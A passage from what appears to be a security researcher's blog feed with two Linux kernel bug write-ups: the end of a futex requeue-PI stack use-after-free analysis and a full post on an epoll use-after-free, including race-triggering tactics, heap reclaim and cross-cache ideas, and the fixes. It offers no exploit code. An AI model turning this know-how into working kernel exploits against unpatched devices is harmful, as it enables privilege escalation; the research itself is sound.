		    <span class="n">raw_spin_unlock_irqrestore</span><span class="p">(</span><span class="n">_T</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">_T</span><span class="o">-&gt;</span><span class="n">flags</span><span class="p">),</span>
		    <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">flags</span><span class="p">)</span>
</code></pre></div></div>

<p>So <code class="language-plaintext highlighter-rouge">scoped_guard(raw_spinlock_irqsave, &amp;p-&gt;pi_lock)</code> calls <code class="language-plaintext highlighter-rouge">raw_spin_lock_irqsave(&amp;p-&gt;pi_lock)</code> at entry, 
and <code class="language-plaintext highlighter-rouge">raw_spin_unlock_irqrestore(&amp;p-&gt;pi_lock)</code> at every exit.
The unlock itself boils down to <code class="language-plaintext highlighter-rouge">queued_spin_unlock</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// include/asm-generic/qspinlock.h</span>
<span class="k">static</span> <span class="n">__always_inline</span> <span class="kt">void</span> <span class="nf">queued_spin_unlock</span><span class="p">(</span><span class="k">struct</span> <span class="n">qspinlock</span> <span class="o">*</span><span class="n">lock</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">smp_store_release</span><span class="p">(</span><span class="o">&amp;</span><span class="n">lock</span><span class="o">-&gt;</span><span class="n">locked</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Let’s go back to our primitive, <code class="language-plaintext highlighter-rouge">p</code> is under our control, <code class="language-plaintext highlighter-rouge">p-&gt;pi_lock</code> must be zero at entry or <code class="language-plaintext highlighter-rouge">raw_spin_lock</code> spins forever. 
<code class="language-plaintext highlighter-rouge">ttwu_state_match</code> calls <code class="language-plaintext highlighter-rouge">__task_state_match</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// kernel/sched/core.c</span>
<span class="kt">int</span> <span class="nf">__task_state_match</span><span class="p">(</span><span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">state</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">READ_ONCE</span><span class="p">(</span><span class="n">p</span><span class="o">-&gt;</span><span class="n">__state</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">state</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">READ_ONCE</span><span class="p">(</span><span class="n">p</span><span class="o">-&gt;</span><span class="n">saved_state</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">state</span><span class="p">)</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">state</code> is <code class="language-plaintext highlighter-rouge">TASK_NORMAL</code> which is <code class="language-plaintext highlighter-rouge">TASK_INTERRUPTIBLE | TASK_UNINTERRUPTIBLE</code> (0x3). So <code class="language-plaintext highlighter-rouge">p-&gt;__state</code> must have bit 0x1 or 0x2 set. If not, the match fails, the scoped_guard breaks out early, fires the unlock, and <code class="language-plaintext highlighter-rouge">raw_spin_unlock_irqrestore</code> writes zero to <code class="language-plaintext highlighter-rouge">p-&gt;pi_lock-&gt;locked</code>.</p>

<p>If both gates pass, the deeper path writes <code class="language-plaintext highlighter-rouge">TASK_WAKING</code> (0x200) to <code class="language-plaintext highlighter-rouge">p-&gt;__state</code>, reads <code class="language-plaintext highlighter-rouge">on_cpu</code>, <code class="language-plaintext highlighter-rouge">wake_cpu</code>, calls <code class="language-plaintext highlighter-rouge">ttwu_queue</code> which eventually calls <code class="language-plaintext highlighter-rouge">ttwu_do_wakeup</code> writing <code class="language-plaintext highlighter-rouge">TASK_RUNNING</code> (0) to <code class="language-plaintext highlighter-rouge">p-&gt;__state</code>.</p>

<p>Eventually, <code class="language-plaintext highlighter-rouge">scoped_guard</code> exits and performs the unlock atomically with <code class="language-plaintext highlighter-rouge">smp_store_release</code>.
Unlike <code class="language-plaintext highlighter-rouge">mutex_unlock</code> which is not atomic, spinlocks are atomic, providing us just a write, the careful reader would notice
that the real primitive is not in the unlock itself, but what happens before it. 
If both gates pass, the deeper path reaches <code class="language-plaintext highlighter-rouge">ttwu_queue</code> → <code class="language-plaintext highlighter-rouge">ttwu_do_activate</code> → <code class="language-plaintext highlighter-rouge">activate_task</code> → <code class="language-plaintext highlighter-rouge">enqueue_task</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// kernel/sched/core.c</span>
<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">enqueue_task</span><span class="p">(</span><span class="k">struct</span> <span class="n">rq</span> <span class="o">*</span><span class="n">rq</span><span class="p">,</span> <span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">)</span>
<span class="p">{</span>
	<span class="p">...</span>
	<span class="n">p</span><span class="o">-&gt;</span><span class="n">sched_class</span><span class="o">-&gt;</span><span class="n">enqueue_task</span><span class="p">(</span><span class="n">rq</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>With <code class="language-plaintext highlighter-rouge">p-&gt;sched_class</code> pointing at the real <code class="language-plaintext highlighter-rouge">fair_sched_class</code> (address known from KASLR), this calls <code class="language-plaintext highlighter-rouge">enqueue_task_fair</code>. Inside, <code class="language-plaintext highlighter-rouge">se = &amp;p-&gt;se</code> is our embedded sched_entity, and <code class="language-plaintext highlighter-rouge">cfs_rq = se-&gt;cfs_rq</code> is a pointer we control:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// kernel/sched/fair.c</span>
<span class="n">enqueue_task_fair</span><span class="p">(</span><span class="k">struct</span> <span class="n">rq</span> <span class="o">*</span><span class="n">rq</span><span class="p">,</span> <span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">sched_entity</span> <span class="o">*</span><span class="n">se</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">p</span><span class="o">-&gt;</span><span class="n">se</span><span class="p">;</span>
	<span class="p">...</span>
	<span class="n">for_each_sched_entity</span><span class="p">(</span><span class="n">se</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">cfs_rq</span> <span class="o">=</span> <span class="n">cfs_rq_of</span><span class="p">(</span><span class="n">se</span><span class="p">);</span>           <span class="c1">// returns se-&gt;cfs_rq</span>
		<span class="n">enqueue_entity</span><span class="p">(</span><span class="n">cfs_rq</span><span class="p">,</span> <span class="n">se</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span>
		<span class="p">...</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">enqueue_entity</code> calls <code class="language-plaintext highlighter-rouge">account_entity_enqueue</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// kernel/sched/fair.c</span>
<span class="n">account_entity_enqueue</span><span class="p">(</span><span class="k">struct</span> <span class="n">cfs_rq</span> <span class="o">*</span><span class="n">cfs_rq</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sched_entity</span> <span class="o">*</span><span class="n">se</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">update_load_add</span><span class="p">(</span><span class="o">&amp;</span><span class="n">cfs_rq</span><span class="o">-&gt;</span><span class="n">load</span><span class="p">,</span> <span class="n">se</span><span class="o">-&gt;</span><span class="n">load</span><span class="p">.</span><span class="n">weight</span><span class="p">);</span>
	<span class="p">...</span>
	<span class="n">cfs_rq</span><span class="o">-&gt;</span><span class="n">nr_running</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">update_load_add</span><span class="p">(</span><span class="k">struct</span> <span class="n">load_weight</span> <span class="o">*</span><span class="n">lw</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">inc</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">lw</span><span class="o">-&gt;</span><span class="n">weight</span> <span class="o">+=</span> <span class="n">inc</span><span class="p">;</span>
	<span class="n">lw</span><span class="o">-&gt;</span><span class="n">inv_weight</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">cfs_rq-&gt;load.weight += se-&gt;load.weight</code> — an 8-byte controlled addition through a pointer we control, with a value (<code class="language-plaintext highlighter-rouge">se-&gt;load.weight</code>) we fully control in our sprayed fake <code class="language-plaintext highlighter-rouge">task_struct</code>.</p>

<p>I did not turn this primitive into an arbitrary read / write primitives, I only got far as to getting the write, but I believe
that with the right effort it is doable, but I might be wrong as I’m just a pleb.</p>

<hr />

<h2 id="the-fix">The fix</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code> void requeue_pi_wake_futex(struct futex_q *q, union futex_key *key,
                            struct futex_hash_bucket *hb)
 {
<span class="gi">+    struct task_struct *task;
+
</span>     q-&gt;key = *key;
     __futex_unqueue(q);
     WARN_ON(!q-&gt;rt_waiter);
     q-&gt;rt_waiter = NULL;
     q-&gt;lock_ptr = &amp;hb-&gt;lock;
<span class="gi">+    task = READ_ONCE(q-&gt;task);
</span>
     futex_requeue_pi_complete(q, 1);
<span class="gd">-    wake_up_state(q-&gt;task, TASK_NORMAL);
</span><span class="gi">+    wake_up_state(task, TASK_NORMAL);
</span> }
</code></pre></div></div>

<p>The fix is pretty simple but requires deep understanding to spot it, the <code class="language-plaintext highlighter-rouge">READ_ONCE</code> prevents the kernel from reading <code class="language-plaintext highlighter-rouge">q</code> after the syscall returned.</p>

<hr />

<h2 id="conclusions">Conclusions</h2>

<p>This is an unusual bug because it works on stack frames rather than heap objects, we don’t see those often, if at all. 
Nobody calls <code class="language-plaintext highlighter-rouge">kfree</code>. The waiter just returns from a function and the data ceases to be meaningful, the alloc was a local variable the “free” was a <code class="language-plaintext highlighter-rouge">ret</code> instruction :’)
You can’t spray a live thread’s kernel stack the way you spray a slab freelist, you have to wait for the function to return and then immediately spike the kernel with a syscall that writes controlled data at the right depth.</p>

<p>The race itself is one instruction which makes it non-trivial to exploit and trigger, however with careful planning it is doable.
The only issue that remains is an infoleak, which I do not think is possible to achieve with this bug, that is up to the user to achieve one.</p>

<p>I found this bug pretty interesting and insightful, I hope you would too.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[A futex is a 32b integer in userspace memory. Uncontended operations are pure userspace atomic ops the kernel is only involved when someone needs to sleep or wake up. PI futexes add priority inheritance, futex word stores the owner’s TID, and the kernel boosts the holder’s priority when a higher priority thread is waiting.]]></summary></entry><entry><title type="html">The epoll uaf</title><link href="https://guysrd.github.io/epoll-uaf" rel="alternate" type="text/html" title="The epoll uaf" /><published>2026-05-10T00:00:00+00:00</published><updated>2026-05-10T00:00:00+00:00</updated><id>https://guysrd.github.io/epoll-uaf</id><content type="html" xml:base="https://guysrd.github.io/epoll-uaf"><![CDATA[<p>A couple of weeks ago Nicholas Carlini burned an epoll uaf race in <code class="language-plaintext highlighter-rouge">fs/eventpoll.c</code>. <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=07712db80857d5d09ae08f3df85a708ecfc3b61f">Commit 07712db80857</a> changed a <code class="language-plaintext highlighter-rouge">kfree()</code> to <code class="language-plaintext highlighter-rouge">kfree_rcu()</code>. The commit message says: “eventpoll: defer struct eventpoll free to RCU grace period.”</p>

<p>That one call fixed a uaf that had been reachable from any unprivileged process for a few years on any Linux / Android running a 6.6 and above kernel with the affected optimization. 
This post is the story about the bug itself, what it gives you and my (failed) attepmts at exploiting this on a real modern device.</p>

<details style="font-size: 0.75rem; color: #888; margin-top: 0.5rem;">
<summary>LLM Technical summary</summary>

A use after free in the epoll graph walker in `fs/eventpoll.c`. A 2023 optimization (removing the global `epmutex`) left the RCU read side walkers `ep_get_upwards_depth_proc` and `reverse_path_check_proc` racing against `ep_free`, which frees `struct eventpoll` with `kfree()` (no RCU grace period). The walker follows `epi-&gt;ep` into a freed `eventpoll` in `kmalloc-256`. The walker writes `loop_check_gen` (u64 at offset 168) and `loop_check_depth` (u8 at offset 184) into the freed object, giving a constrained write primitive.

Discovered by Nicholas Carlini. Fixed in commit `07712db80857` by changing `kfree(ep)` to `kfree_rcu(ep, rcu)`. Affects Linux 6.6+ kernels with the `epmutex` removal optimization (March 2023). Triggerable from any unprivileged process via nested epoll instances and same CPU preemption under `CONFIG_PREEMPT=y` and `CONFIG_PREEMPT_RCU=y`. Tested on Pixel 10 (Frankel). Cross cache exploitation to PTE pages was not achieved due to timing constraints between the 2ms race window and the 100ms slab to PTE transition pipeline. Same cache reclaim in `kmalloc-256` is straightforward via LIFO SLUB freelist.

</details>
<p>I spent a bit on a Pixel 10 working on this bug and in the process learned more about CFS vruntime tricks, SLUB internals, and the ARM64 memory model than I probably needed to.</p>

<h2 id="epoll-in-2-seconds">epoll in 2 seconds</h2>

<p>If you’ve run a Linux server you’ve used epoll indirectly. It’s the kernel’s scalable I/O notification mechanism the thing that lets nginx watch tens of thousands of sockets without blocking a thread per connection. 
Three syscalls: <code class="language-plaintext highlighter-rouge">epoll_create()</code> makes an instance, <code class="language-plaintext highlighter-rouge">epoll_ctl()</code> adds or removes watched file descriptors, <code class="language-plaintext highlighter-rouge">epoll_wait()</code> blocks until something happens.</p>

<p>Linux manages everything as file, so epoll fd is itself a file descriptor. You can add an epoll to another epoll. This creates a directed graph of instances watching instances, and the kernel has validation code inside <code class="language-plaintext highlighter-rouge">epoll_ctl(ADD)</code> that walks this graph to check for cycles and depth violations, that validation code is where the bug lives.</p>

<p>epoll has a history of cves <a href="https://lore.kernel.org/all/20240527185634.056918751@linuxfoundation.org/">history of</a> <a href="https://lore.kernel.org/all/20250714230744.3710270-3-sashal@kernel.org/">CVEs</a> however, their exploitation is not documented and is very scarce.</p>

<hr />

<h2 id="structures">Structures</h2>

<p><img src="/1.svg" alt="epoll data structures and the UAF" /></p>

<p><strong><code class="language-plaintext highlighter-rouge">struct eventpoll</code></strong>: one per <code class="language-plaintext highlighter-rouge">epoll_create()</code>. Has the wait queue, the RB tree of items being watched, and <code class="language-plaintext highlighter-rouge">refs</code> at offset 176: an hlist head that links every <code class="language-plaintext highlighter-rouge">epitem</code> pointing back at this instance from somewhere else. It’s the incoming-edges list in the graph.</p>

<p><strong><code class="language-plaintext highlighter-rouge">struct epitem</code></strong>: one per (epoll instance, watched fd) pair. Has <code class="language-plaintext highlighter-rouge">epi-&gt;ep</code>, a pointer to its owning <code class="language-plaintext highlighter-rouge">eventpoll</code>. If the watched fd is itself an epoll, this epitem is also linked into <em>that</em> epoll’s <code class="language-plaintext highlighter-rouge">refs</code> hlist via <code class="language-plaintext highlighter-rouge">fllink</code>.</p>

<p>The graph walker iterates <code class="language-plaintext highlighter-rouge">ep-&gt;refs</code>, follows <code class="language-plaintext highlighter-rouge">epi-&gt;ep</code> for each entry to reach a parent <code class="language-plaintext highlighter-rouge">eventpoll</code>, and recurses. That <code class="language-plaintext highlighter-rouge">epi-&gt;ep</code> dereference is the UAF.</p>

<hr />

<h2 id="the-2023-optimization">The 2023 Optimization</h2>

<p>Before March 2023, every <code class="language-plaintext highlighter-rouge">epoll_ctl(ADD)</code> with a nested target acquired a global mutex called <code class="language-plaintext highlighter-rouge">epmutex</code>. 
Under HTTP benchmarks, 58% of CPU time was lost to contention on it.</p>

<p>A patch replaced <code class="language-plaintext highlighter-rouge">epmutex</code> with a per-instance <code class="language-plaintext highlighter-rouge">refcount_t</code>, added a <code class="language-plaintext highlighter-rouge">dying</code> flag to <code class="language-plaintext highlighter-rouge">struct epitem</code>, and narrowed the remaining lock to only be held during actual graph walks. Throughput went up 60%.</p>

<p>The race happens in the graph walkers <code class="language-plaintext highlighter-rouge">ep_get_upwards_depth_proc</code> and <code class="language-plaintext highlighter-rouge">reverse_path_check_proc</code>. Both functions iterate <code class="language-plaintext highlighter-rouge">ep-&gt;refs</code> under <code class="language-plaintext highlighter-rouge">rcu_read_lock()</code> while other threads tear down the structures they’re pointing at. The old <code class="language-plaintext highlighter-rouge">epmutex</code> had been incidentally serializing this, but the new optimization was too open and nobody noticed the walkers race. The reason is they don’t touch any of the data the mutex was nominally protecting, they were only reading data.</p>

<hr />

<h2 id="the-bug">The Bug</h2>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">ep_loop_check</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">,</span> <span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">to</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">depth</span><span class="p">,</span> <span class="n">upwards_depth</span><span class="p">;</span>

	<span class="n">inserting_into</span> <span class="o">=</span> <span class="n">ep</span><span class="p">;</span>
	<span class="cm">/*
	 * Check how deep down we can get from @to, and whether it is possible
	 * to loop up to @ep.
	 */</span>
	<span class="n">depth</span> <span class="o">=</span> <span class="n">ep_loop_check_proc</span><span class="p">(</span><span class="n">to</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">depth</span> <span class="o">&gt;</span> <span class="n">EP_MAX_NESTS</span><span class="p">)</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="cm">/* Check how far up we can go from @ep. */</span>
	<span class="n">rcu_read_lock</span><span class="p">();</span>
	<span class="n">upwards_depth</span> <span class="o">=</span> <span class="n">ep_get_upwards_depth_proc</span><span class="p">(</span><span class="n">ep</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">rcu_read_unlock</span><span class="p">();</span>

	<span class="k">return</span> <span class="p">(</span><span class="n">depth</span><span class="o">+</span><span class="mi">1</span><span class="o">+</span><span class="n">upwards_depth</span> <span class="o">&gt;</span> <span class="n">EP_MAX_NESTS</span><span class="p">)</span> <span class="o">?</span> <span class="o">-</span><span class="mi">1</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="p">..</span>
<span class="n">snip</span>
<span class="p">..</span>


<span class="k">static</span> <span class="kt">int</span> <span class="nf">ep_get_upwards_depth_proc</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">,</span> <span class="kt">int</span> <span class="n">depth</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">result</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">struct</span> <span class="n">epitem</span> <span class="o">*</span><span class="n">epi</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ep</span><span class="o">-&gt;</span><span class="n">gen</span> <span class="o">==</span> <span class="n">loop_check_gen</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">ep</span><span class="o">-&gt;</span><span class="n">loop_check_depth</span><span class="p">;</span>

    <span class="n">hlist_for_each_entry_rcu</span><span class="p">(</span><span class="n">epi</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ep</span><span class="o">-&gt;</span><span class="n">refs</span><span class="p">,</span> <span class="n">fllink</span><span class="p">)</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">max</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="n">ep_get_upwards_depth_proc</span><span class="p">(</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">ep</span><span class="p">,</span> <span class="n">depth</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
    <span class="n">ep</span><span class="o">-&gt;</span><span class="n">gen</span> <span class="o">=</span> <span class="n">loop_check_gen</span><span class="p">;</span>
    <span class="n">ep</span><span class="o">-&gt;</span><span class="n">loop_check_depth</span> <span class="o">=</span> <span class="n">result</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ep_get_upwards_depth_proc</code> runs under <code class="language-plaintext highlighter-rouge">rcu_read_lock()</code>. Each <code class="language-plaintext highlighter-rouge">epitem</code> is safe when unlinked, it’s freed via <code class="language-plaintext highlighter-rouge">call_rcu()</code>, so RCU keeps it alive through the read-side critical section. There’s even a comment in the source that acknowledges the RCU reader:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* The rcu read side, reverse_path_check_proc(), does not make
 * use of the rbn field.
 */</span>
<span class="n">call_rcu</span><span class="p">(</span><span class="o">&amp;</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">rcu</span><span class="p">,</span> <span class="n">epi_rcu_free</span><span class="p">);</span>
</code></pre></div></div>

<p>That comment is correct about the <code class="language-plaintext highlighter-rouge">epitem</code>. It says nothing about what <code class="language-plaintext highlighter-rouge">epi-&gt;ep</code> points to.</p>

<p>Now look at the teardown path:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">ep_free</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">mutex_destroy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ep</span><span class="o">-&gt;</span><span class="n">mtx</span><span class="p">);</span>
    <span class="n">free_uid</span><span class="p">(</span><span class="n">ep</span><span class="o">-&gt;</span><span class="n">user</span><span class="p">);</span>
    <span class="n">wakeup_source_unregister</span><span class="p">(</span><span class="n">ep</span><span class="o">-&gt;</span><span class="n">ws</span><span class="p">);</span>
    <span class="n">kfree</span><span class="p">(</span><span class="n">ep</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">kfree()</code>. Immediate. No RCU grace period.</p>

<p>The walker loads <code class="language-plaintext highlighter-rouge">epi-&gt;ep</code> a pointer read, then dereferences the target but that <code class="language-plaintext highlighter-rouge">eventpoll</code> may have already been freed and reused by a completely different <code class="language-plaintext highlighter-rouge">kmalloc-256</code> allocation.</p>

<hr />

<h2 id="triggering-it">Triggering it</h2>

<p><img src="/2.svg" alt="The race timeline" /></p>

<p>I initially tried two threads on different CPUs, one walking the graph one closing an epoll fd, it didn’t work. The window between loading <code class="language-plaintext highlighter-rouge">epi</code> from the hlist and following <code class="language-plaintext highlighter-rouge">epi-&gt;ep</code> is a handful of ARM64 instructions.
What does work is same-CPU preemption. The Frankel device I was testing on runs <code class="language-plaintext highlighter-rouge">CONFIG_PREEMPT=y</code> and <code class="language-plaintext highlighter-rouge">CONFIG_PREEMPT_RCU=y</code>, which means <code class="language-plaintext highlighter-rouge">rcu_read_lock()</code> just bumps a per-task counter it doesn’t disable preemption. A timer tick during the walk can yield the CPU to the closer thread even though the walker is mid-RCU.</p>

<p>Just to give you a sense on numbers (<code class="language-plaintext highlighter-rouge">CONFIG_HZ=250</code>, tick every 4 ms):</p>

<ul>
  <li>4,096 parents: walk takes ~400 us. Rarely overlaps a tick.</li>
  <li>8,000 parents: ~2 ms. Overlaps reliably. About 4% hit rate per attempt.</li>
</ul>

<p>If the closer thread busy waits for the trigger signal, the scheduler treats it the same priority as the walker and never switches, but if you add the closer <code class="language-plaintext highlighter-rouge">usleep(1000)</code> in a loop while waiting. Sleeping threads get scheduling priority when they wake and the scheduler preempts the walker immediately.</p>

<p>The Pixel’s default governor throttles to 729 MHz at idle, at that frequency the traversal timing shifts enough that the race stops firing entirely :’)</p>

<hr />

<h2 id="what-gets-written">What Gets Written</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct eventpoll {
    struct mutex               mtx;                  /*     0    48 */
    wait_queue_head_t          wq;                   /*    48    24 */
    wait_queue_head_t          poll_wait;            /*    72    24 */
    struct list_head           rdllist;              /*    96    16 */
    rwlock_t                   lock;                 /*   112     8 */
    struct rb_root_cached      rbr;                  /*   120    16 */
    struct epitem *            ovflist;              /*   136     8 */
    struct wakeup_source *     ws;                   /*   144     8 */
    struct user_struct *       user;                 /*   152     8 */
    struct file *              file;                 /*   160     8 */
    u64                        gen;                  /*   168     8 */ /* read, then WRITE loop_check_gen */
    struct hlist_head          refs;                 /*   176     8 */ /* READ as hlist pointer           */
    u8                         loop_check_depth;     /*   184     1 */ /* WRITE 0 or a kernel pointer     */
    refcount_t                 refcount;             /*   188     4 */
    unsigned int               napi_id;             /*   192     4 */

    /* size: 200, cachelines: 4, members: 15 */
};
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">struct eventpoll</code> lives in <code class="language-plaintext highlighter-rouge">kmalloc-256</code> (order-1 slabs, 32 objects per slab, <code class="language-plaintext highlighter-rouge">cpu_partial=52</code> on this device). <code class="language-plaintext highlighter-rouge">init_on_free=1</code> is set by default on Frankel devices and Android adds custom padding at the end of each object therefore the structure is different from mainline linux a bit.</p>

<p>Since the traversal of <code class="language-plaintext highlighter-rouge">refs.first</code> is at offset 176, this is our target offset, which is critical as my main attempt to exploit this as a one shot w/o any infoleaks:</p>

<p>If it’s <strong>zero</strong> (the <code class="language-plaintext highlighter-rouge">init_on_free</code> case), the hlist looks empty. The walker skips the loop, writes <code class="language-plaintext highlighter-rouge">loop_check_gen</code> at 168 and a zero byte at 184, returns. Silent corruption of 9 bytes in whatever object gets reused.</p>

<p>If it’s <strong>nonzero</strong>, the walker follows it as a pointer to an <code class="language-plaintext highlighter-rouge">epitem</code>, computes <code class="language-plaintext highlighter-rouge">container_of()</code>, dereferences <code class="language-plaintext highlighter-rouge">epi-&gt;ep</code>, and recurses into wherever that points. This is an arbitrary write primitive.</p>

<p>If you can grab the object where you control offset 176, you steer the recursion. Each level writes <code class="language-plaintext highlighter-rouge">loop_check_gen</code> (a global u64 counter that increments per <code class="language-plaintext highlighter-rouge">epoll_ctl(ADD)</code>) and a zero byte at fixed offsets from the pointer target. That’s a constrained write primitive. What you do with it from there depends on what <code class="language-plaintext highlighter-rouge">kmalloc-256</code> object you use for reclaim, and how creative you’re feeling.</p>

<p>Note:
There are other paths I did not include in this blog. One of them leads to <code class="language-plaintext highlighter-rouge">mutex_unlock</code> that if you are careful and brave enough to walk into. They require tremendous memory pressure and some of them might be fruitful.
Trivia: We also control and <code class="language-plaintext highlighter-rouge">gen</code> and <code class="language-plaintext highlighter-rouge">loop_check_depth</code> which allows to zero out (or write somewhat deterministically yet very slowly) a controlled value to the freed chunk.</p>

<hr />

<h2 id="can-you-cross-cache-this">Can You Cross Cache This?</h2>

<p>I wanted to exploit this vuln as one shot primitive and wanted to do this using PTE corruption, my attempts failed, but this was my strategy. 
If I were to infoleak, I’d use a different primitive and then solve everything pretty easily with <code class="language-plaintext highlighter-rouge">refs.first</code> as a pointer.
Note: This part is technical. If you are not familiar with PCPs, Page Table Entries or SLUB / Buddy internals, I encourage you to read about them before you try reading this part.</p>

<p>The freed objects goes into <code class="language-plaintext highlighter-rouge">kmalloc-256</code> and uses order-1 slabs. ARM64 PTE pages are order-0 (4 KB). These sit on different PCP freelists. The order-1 page freed from the slab cache won’t satisfy an order-0 PTE request unless PCP overflows and buddy splits it. Arranging that overflow during the narrow race window turned out to be non-trivial. It was possible to perform the split w/o invoking the race, however, integrating both pieces together was never a succeess.</p>

<p>These pieces work separately. Shaping 244 out of 250 slab pages go to buddy with 16 children forking and faulting 8 GB each, all available UNMOVABLE order-1 gets split for PTE allocations. The slab2buddy transition works, the buddy2PTE transition works, the problem is combining them with the race. The walker finishes in about 2 ms. The full cross cache pipeline, SLUB discard, PCP drain, buddy insertion, PTE allocation with <code class="language-plaintext highlighter-rouge">__GFP_ZERO</code> takes on the order of 100 ms. The gen write needs to land on a physical page that has <em>already</em> completed the transition from slab to PTE, and those timelines don’t overlap. I couldn’t find a way to stretch the walk long enough without resorting to <code class="language-plaintext highlighter-rouge">SCHED_FIFO</code> or similar privileged tricks, which defeats the purpose.</p>

<p>Same-cache reclaim ignores this entirely. SLUB’s per-CPU freelist is LIFO: last freed, first allocated. An immediate <code class="language-plaintext highlighter-rouge">kmalloc(256)</code> on the same CPU gets you the exact slot. The hard part is finding a <code class="language-plaintext highlighter-rouge">kmalloc-256</code> object with a useful layout at offsets 168 and 176, I did not invest too much time into this.</p>

<hr />

<h2 id="the-fix">The Fix</h2>

<p><a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=07712db80857d5d09ae08f3df85a708ecfc3b61f">Commit 07712db80857</a>:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code> static void ep_free(struct eventpoll *ep)
 {
     mutex_destroy(&amp;ep-&gt;mtx);
     free_uid(ep-&gt;user);
     wakeup_source_unregister(ep-&gt;ws);
<span class="gd">-    kfree(ep);
</span><span class="gi">+    kfree_rcu(ep, rcu);
</span> }
</code></pre></div></div>

